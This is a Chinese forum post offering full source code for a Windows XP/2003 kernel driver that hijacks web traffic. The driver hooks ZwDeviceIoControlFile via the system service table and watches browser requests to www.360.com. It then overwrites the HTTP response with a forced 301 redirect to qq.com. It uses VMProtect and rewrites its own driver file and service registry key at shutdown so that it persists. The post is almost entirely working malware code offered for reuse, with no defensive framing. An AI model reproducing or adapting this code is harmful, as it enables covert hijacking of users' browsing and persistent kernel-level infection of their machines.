看流星社区

 找回密码
 注册账号
查看: 5509|回复: 0

实现网页劫持跳转代码开源

[复制链接]

该用户从未签到

发表于 2013-3-17 08:49:17 | 显示全部楼层 |阅读模式
下面代码在内核层实现URL跳转,代码公开。

  1. #ifdef __cplusplus
  2. extern "C"
  3. {
  4. #endif
  5. #include <ntddk.h>
  6. #ifdef __cplusplus
  7. }
  8. #endif

  9. #include "VMProtectSDK.h"
  10. #pragma comment(lib, "VMProtectSDK32.lib")

  11. #include "1.h"



  12. ULONG ZwDeviceIoControlFile_BaseAddress = 0x0;
  13. ULONG ZwDeviceIoControlFile_value = 0x0;
  14. ULONG ZwDeviceIoControlFile_num = 0x0;

  15. VOID OnUnload(IN PDRIVER_OBJECT DriverObject)
  16. {
  17.   PDEVICE_OBJECT Device;
  18.   UNICODE_STRING SymName;

  19.   Device = DriverObject->DeviceObject;
  20.   if (Device != NULL)
  21.     {
  22.       RtlInitUnicodeString(&SymName, DEVSYMNAME);
  23.       IoDeleteSymbolicLink(&SymName);
  24.       IoDeleteDevice(Device);
  25.     }
  26.   if (ZwDeviceIoControlFile_BaseAddress != 0 && ZwDeviceIoControlFile_value != 0)
  27.     {
  28.       ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, ZwDeviceIoControlFile_value);
  29.     }
  30. }

  31. typedef struct AFD_WSABUF{
  32.   ULONG  len ;
  33.   PCHAR  buf ;
  34. }AFD_WSABUF , *PAFD_WSABUF;

  35. typedef struct AFD_INFO {
  36.   PAFD_WSABUF  BufferArray ;
  37.   ULONG  BufferCount ;
  38.   ULONG  AfdFlags ;
  39.   ULONG  TdiFlags ;
  40. } AFD_INFO,  *PAFD_INFO;

  41. typedef struct _LYH_ie{
  42.   HANDLE pid;
  43.   HANDLE FileHandle;
  44. }LYH_IE,*PLYH_IE;

  45. #define IE_MaxNum 1000

  46. LYH_IE IeBuff[IE_MaxNum];

  47. NTSTATUS NTAPI LYH_ZwDeviceIoControlFile(IN HANDLE FileHandle,
  48.                     IN HANDLE Event OPTIONAL,
  49.                     IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
  50.                     IN PVOID ApcContext OPTIONAL,
  51.                     OUT PIO_STATUS_BLOCK IoStatusBlock,
  52.                     IN ULONG IoControlCode,
  53.                     IN PVOID InputBuffer OPTIONAL,
  54.                     IN ULONG InputBufferLength,
  55.                     OUT PVOID OutputBuffer OPTIONAL,
  56.                     IN ULONG OutputBufferLength)
  57. {
  58.   NTSTATUS RetValue = STATUS_SUCCESS;
  59.   HANDLE pid = 0x0;
  60.   PAFD_INFO AdInfo;  
  61.   ULONG len,i;
  62.   BOOLEAN IsFind = FALSE;
  63.   CHAR JmpUrl[] = {"HTTP/1.1 301 Moved Permanently\r\nLocation: http://www.qq.com\r\n"};
  64.   PMDL pMdl;
  65.   PVOID MdlAddress;
  66.   PEPROCESS process;
  67.   PCHAR name;
  68.   BOOLEAN IsSoGou = FALSE;

  69.   pid = PsGetCurrentProcessId();

  70.   if (IoControlCode == 0x1201f)
  71.     {
  72.       AdInfo = (PAFD_INFO)InputBuffer;
  73.       len = AdInfo->BufferArray->len;

  74.       process = PsGetCurrentProcess();
  75.       name = PsGetProcessImageFileName(process);
  76.       if (_stricmp(name, "sogouexplorer.e") == 0)
  77.         {
  78.           IsSoGou = TRUE;
  79.         }
  80.       else
  81.         {
  82.           IsSoGou = FALSE;
  83.         }

  84.       IsFind = FALSE;
  85.       pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
  86.       if (pMdl != NULL)
  87.         {
  88.           _try
  89.           {
  90.           MmProbeAndLockPages(pMdl, UserMode, IoReadAccess);

  91.           MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
  92.           if (MdlAddress != NULL)
  93.             {
  94.               if (_strnicmp((PCHAR)MdlAddress, "get", 3) == 0 || _strnicmp((PCHAR)MdlAddress, "post", 4) == 0)
  95.                 {
  96.                   if (len > 0x14)
  97.                     {
  98.                       len -= 0x14;
  99.                     }

  100.                   for (i = 0; i < len; i++)
  101.                     {
  102.                       if (_strnicmp((PCHAR)((ULONG)MdlAddress + i), "www.360.com", 14) == 0  )
  103.                         {
  104.                           IsFind = TRUE;
  105.                           break;
  106.                         }
  107.                     }

  108.                 }
  109.             }

  110.           MmUnlockPages(pMdl);
  111.           }_except(EXCEPTION_EXECUTE_HANDLER)
  112.           {

  113.           }
  114.           IoFreeMdl(pMdl);
  115.         }
  116.       if (IsFind)
  117.         {
  118.           IsFind = FALSE;
  119.           for (i = 0; i < IE_MaxNum; i++)
  120.             {
  121.               if (!IsSoGou)
  122.                 {
  123.                   if (IeBuff[i].FileHandle == FileHandle && IeBuff->pid == pid)  //遍历这个进程
  124.                     {
  125.                       IsFind = TRUE;
  126.                       break;
  127.                     }
  128.                 }
  129.               else
  130.                 {
  131.                   if (IeBuff[i].pid == pid)
  132.                     {
  133.                       IsFind = TRUE;
  134.                       break;
  135.                     }
  136.                 }
  137.             }
  138.           //如果没有找到,就添加
  139.           if (!IsFind)
  140.             {
  141.               for (i = 0; i < IE_MaxNum; i++)
  142.                 {
  143.                   if (IsSoGou)
  144.                   {
  145.                     if (IeBuff[i].pid == 0 && IeBuff[i].FileHandle == 0)
  146.                       {
  147.                         IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
  148.                         break;
  149.                       }
  150.                   }
  151.                   else
  152.                   {
  153.                   if (IeBuff[i].FileHandle == 0 || IeBuff[i].pid == 0)
  154.                     {
  155.                       IeBuff[i].FileHandle = FileHandle; IeBuff[i].pid = pid;
  156.                       break;
  157.                     }
  158.                   }
  159.                 }
  160.             }
  161.         }
  162.    
  163.     }

  164.   _asm
  165.     {
  166.       pushad
  167.       push OutputBufferLength
  168.       push OutputBuffer
  169.       push InputBufferLength
  170.       push InputBuffer
  171.       push IoControlCode
  172.       push IoStatusBlock
  173.       push ApcContext
  174.       push ApcRoutine
  175.       push Event
  176.       push FileHandle
  177.       call ZwDeviceIoControlFile_value
  178.       mov RetValue,eax
  179.       popad
  180.     }

  181.   if (NT_SUCCESS(RetValue))
  182.     {
  183.       if (IoControlCode == 0x12017)
  184.         {
  185.           AdInfo = (PAFD_INFO)InputBuffer;
  186.           len = AdInfo->BufferArray->len;

  187.           process = PsGetCurrentProcess();
  188.           name = PsGetProcessImageFileName(process);

  189.           if (_stricmp(name, "sogouexplorer.e") == 0)
  190.             {
  191.               IsSoGou = TRUE;
  192.             }
  193.           else
  194.             {
  195.               IsSoGou = FALSE;
  196.             }

  197.           pMdl = IoAllocateMdl(AdInfo->BufferArray->buf, len, FALSE, FALSE, NULL);
  198.           if (pMdl != NULL)
  199.             {
  200.               _try{
  201.               MmProbeAndLockPages(pMdl, UserMode, IoWriteAccess);

  202.               MdlAddress = MmMapLockedPagesSpecifyCache(pMdl, KernelMode, MmCached, NULL, FALSE, NormalPagePriority);
  203.               if (MdlAddress != NULL)
  204.                 {
  205.                   if (_strnicmp((PCHAR)MdlAddress, "http", 4) == 0)
  206.                     {
  207.                       IsFind = FALSE;
  208.                       for (i = 0; i <  IE_MaxNum; i++)
  209.                       {
  210.                         if (IsSoGou)
  211.                         {
  212.                           if (IeBuff[i].pid == pid)
  213.                             {
  214.                               IsFind = TRUE;
  215.                               IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
  216.                               break;
  217.                             }
  218.                         }
  219.                         else
  220.                         {
  221.                         if (IeBuff[i].FileHandle == FileHandle && IeBuff[i].pid == pid)
  222.                         {
  223.                           
  224.                           IsFind = TRUE;
  225.                           IeBuff[i].FileHandle = 0x0; IeBuff[i].pid = 0x0;
  226.                           break;
  227.                         }
  228.                         }
  229.                       }
  230.                       if (IsFind)
  231.                       {
  232.                         strcpy((PCHAR)MdlAddress, JmpUrl);
  233.                       }
  234.                     }
  235.             
  236.                 }
  237.               MmUnlockPages(pMdl);
  238.               }_except(EXCEPTION_EXECUTE_HANDLER)
  239.               {

  240.               }
  241.               IoFreeMdl(pMdl);
  242.             }
  243.         }
  244.     }
  245.   return RetValue;
  246. }

  247. NTSTATUS DefDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
  248. {
  249.   Irp->IoStatus.Status = STATUS_SUCCESS;
  250.   Irp->IoStatus.Information = 0;

  251.   IoCompleteRequest(Irp, IO_NO_INCREMENT);

  252.   return STATUS_SUCCESS;
  253. }

  254. UNICODE_STRING RestoreRegPath;
  255. PKEY_VALUE_PARTIAL_INFORMATION pvpi = NULL;

  256. ULONG FileSize = 0x0;
  257. PVOID FileBuff = NULL;

  258. NTSTATUS ShutDownDispatch(IN PDEVICE_OBJECT Device, IN PIRP Irp)
  259. {
  260.   NTSTATUS status;
  261.   HANDLE hkey;
  262.   OBJECT_ATTRIBUTES ObjectAttributes;
  263.   UNICODE_STRING RegName;
  264.   PWCHAR DisplayName = {L"WebNdis"};
  265.   ULONG ErrorControl = 0x1, Start = 0x1, Type = 0x1;

  266.   //写文件
  267.   HANDLE hfile;
  268.   IO_STATUS_BLOCK IoStatus;
  269.   LARGE_INTEGER number;

  270.   if (FileBuff != NULL)
  271.     {
  272.       RtlInitUnicodeString(&RegName, (PCWSTR)pvpi->Data);
  273.       InitializeObjectAttributes(&ObjectAttributes, &RegName, OBJ_CASE_INSENSITIVE, NULL, NULL);
  274.       status = ZwCreateFile(&hfile, GENERIC_WRITE, &ObjectAttributes, &IoStatus, NULL, FILE_ATTRIBUTE_NORMAL,
  275.                      FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN_IF, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
  276.       if (NT_SUCCESS(status))
  277.         {
  278.           number.QuadPart = 0x0;
  279.           ZwWriteFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, &number, NULL);
  280.           ZwClose(hfile);
  281.         }
  282.     }

  283.   //注册表回写
  284.   if (pvpi != NULL)
  285.     {
  286.       InitializeObjectAttributes(&ObjectAttributes, &RestoreRegPath, OBJ_CASE_INSENSITIVE, NULL, NULL);
  287.       status = ZwCreateKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes, 0, NULL, 0, NULL);
  288.       if (NT_SUCCESS(status))
  289.         {
  290.           RtlInitUnicodeString(&RegName, L"DisplayName");
  291.           ZwSetValueKey(hkey, &RegName, 0, REG_SZ, DisplayName, (wcslen(DisplayName) + 1) * sizeof(WCHAR));

  292.           RtlInitUnicodeString(&RegName, L"ErrorControl");
  293.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &ErrorControl, 4);

  294.           //路径
  295.           RtlInitUnicodeString(&RegName, L"ImagePath");
  296.           ZwSetValueKey(hkey, &RegName, 0, REG_SZ, pvpi->Data, (wcslen((PWCHAR)pvpi->Data) + 1) * sizeof(WCHAR));

  297.           RtlInitUnicodeString(&RegName, L"Start");
  298.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Start, 4);

  299.           RtlInitUnicodeString(&RegName, L"Type");
  300.           ZwSetValueKey(hkey, &RegName, 0, REG_DWORD, &Type, 4);

  301.           ZwClose(hkey);
  302.         }
  303.     }

  304.   return STATUS_SUCCESS;
  305. }
  306. #ifdef __cplusplus
  307. extern "C"
  308. #endif
  309. NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
  310. {
  311.   ULONG MajorVersion,MinorVersion;

  312.   DriverObject->DriverUnload = OnUnload;


  313.   PsGetVersion(&MajorVersion, &MinorVersion, NULL, NULL);
  314.   if (MajorVersion == 0x5 && MinorVersion == 0x2)
  315.     {
  316.       ZwDeviceIoControlFile_num = 0x45;
  317.     }
  318.   else if (MajorVersion == 0x5 && MinorVersion == 0x1)
  319.     {
  320.       ZwDeviceIoControlFile_num = 0x42;
  321.     }
  322.   else
  323.     {
  324.       return STATUS_UNSUCCESSFUL;
  325.     }
  326.   memset(IeBuff, 0, 4 * IE_MaxNum);

  327.   ZwDeviceIoControlFile_BaseAddress = (ULONG)KeServiceDescriptorTable->ServiceTableBase + ZwDeviceIoControlFile_num * 4; //xp 0x42 2003 0x45
  328.   ZwDeviceIoControlFile_value = *(PULONG)ZwDeviceIoControlFile_BaseAddress;
  329.   ChangeMemory_inte(ZwDeviceIoControlFile_BaseAddress, (ULONG)LYH_ZwDeviceIoControlFile);

  330.   {
  331.     UNICODE_STRING DevName,SymName;
  332.     NTSTATUS status;
  333.     PDEVICE_OBJECT fdo;

  334.     RtlInitUnicodeString(&DevName, DEVICENAME);
  335.     status = IoCreateDevice(DriverObject, 0, &DevName, FILE_DEVICE_UNKNOWN, 0, FALSE, &fdo);
  336.     if (!NT_SUCCESS(status))
  337.       {
  338.         return status;
  339.       }

  340.     RtlInitUnicodeString(&SymName, DEVSYMNAME);
  341.     status = IoCreateSymbolicLink(&SymName, &DevName);
  342.     if (!NT_SUCCESS(status))
  343.       {
  344.         IoDeleteDevice(fdo);
  345.         return status;
  346.       }
  347.     fdo->Flags |= DO_BUFFERED_IO;

  348.     DriverObject->MajorFunction[IRP_MJ_CREATE] = DefDispatch;
  349.     DriverObject->MajorFunction[IRP_MJ_CLOSE] = DefDispatch;
  350.     DriverObject->MajorFunction[IRP_MJ_SHUTDOWN] = ShutDownDispatch;

  351.     RestoreRegPath.Buffer = (PWSTR)ExAllocatePool(NonPagedPool, RegistryPath->Length + 1);
  352.     RtlCopyMemory(RestoreRegPath.Buffer, RegistryPath->Buffer, RegistryPath->Length);
  353.     RestoreRegPath.Length = RestoreRegPath.MaximumLength = RegistryPath->Length;

  354.     {
  355.       //读取注册表文件位置,以备回写
  356.       HANDLE hkey;
  357.       UNICODE_STRING ValueName;
  358.       OBJECT_ATTRIBUTES ObjectAttributes;
  359.       ULONG ulSize = 0x0;

  360.       RtlInitUnicodeString(&ValueName, L"ImagePath");
  361.       InitializeObjectAttributes(&ObjectAttributes, RegistryPath, OBJ_CASE_INSENSITIVE, NULL, NULL);

  362.       status = ZwOpenKey(&hkey, KEY_ALL_ACCESS, &ObjectAttributes);
  363.       if (NT_SUCCESS(status))
  364.         {
  365.           status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, NULL, 0, &ulSize);
  366.           if (status == STATUS_BUFFER_TOO_SMALL)
  367.             {
  368.               pvpi = (PKEY_VALUE_PARTIAL_INFORMATION)ExAllocatePool(PagedPool, ulSize);
  369.               if (pvpi != NULL)
  370.                 {
  371.                   status = ZwQueryValueKey(hkey, &ValueName, KeyValuePartialInformation, pvpi, ulSize, &ulSize);
  372.                   if (!NT_SUCCESS(status))
  373.                     {
  374.                       ExFreePool(pvpi);
  375.                       pvpi = NULL;
  376.                     }
  377.                 }
  378.             }
  379.          
  380.           ZwClose(hkey);
  381.         }

  382.       //读文件,以备回写
  383.       HANDLE hfile;
  384.       IO_STATUS_BLOCK IoStatus;
  385.       FILE_STANDARD_INFORMATION fsi;

  386.       if (pvpi != NULL)
  387.         {
  388.           RtlInitUnicodeString(&ValueName, (PCWSTR)pvpi->Data);
  389.           InitializeObjectAttributes(&ObjectAttributes, &ValueName, OBJ_CASE_INSENSITIVE, NULL, NULL);
  390.           status = ZwCreateFile(&hfile, GENERIC_READ, &ObjectAttributes, &IoStatus, NULL,
  391.                           FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN, FILE_SYNCHRONOUS_IO_NONALERT, NULL, 0);
  392.           if (NT_SUCCESS(status))
  393.             {
  394.               status = ZwQueryInformationFile(hfile, &IoStatus, &fsi, sizeof(FILE_STANDARD_INFORMATION), FileStandardInformation);
  395.               if (NT_SUCCESS(status))
  396.                 {
  397.                   FileSize = (ULONG)fsi.EndOfFile.QuadPart;
  398.                   FileBuff = ExAllocatePool(NonPagedPool, FileSize);
  399.                   if (FileBuff != NULL)
  400.                     {
  401.                       status = ZwReadFile(hfile, NULL, NULL, NULL, &IoStatus, FileBuff, FileSize, NULL, NULL);
  402.                       if (!NT_SUCCESS(status))
  403.                         {
  404.                           FileSize = 0x0;
  405.                           ExFreePool(FileBuff);
  406.                           FileBuff = NULL;
  407.                         }
  408.                     }
  409.                 }
  410.               ZwClose(hfile);
  411.             }
  412.         }
  413.     }

  414.    
  415.     //注册关机回写
  416.     IoRegisterShutdownNotification(fdo);

  417.   }

  418.   return STATUS_SUCCESS;
  419. }


复制代码
点击按钮快速添加回复内容: 支持 高兴 激动 给力 加油 苦寻 生气 回帖 路过 感恩
您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

小黑屋|手机版|Archiver|看流星社区 |网站地图

GMT+8, 2024-5-3 02:50

Powered by Kanliuxing X3.4

© 2010-2019 kanliuxing.com

快速回复 返回顶部 返回列表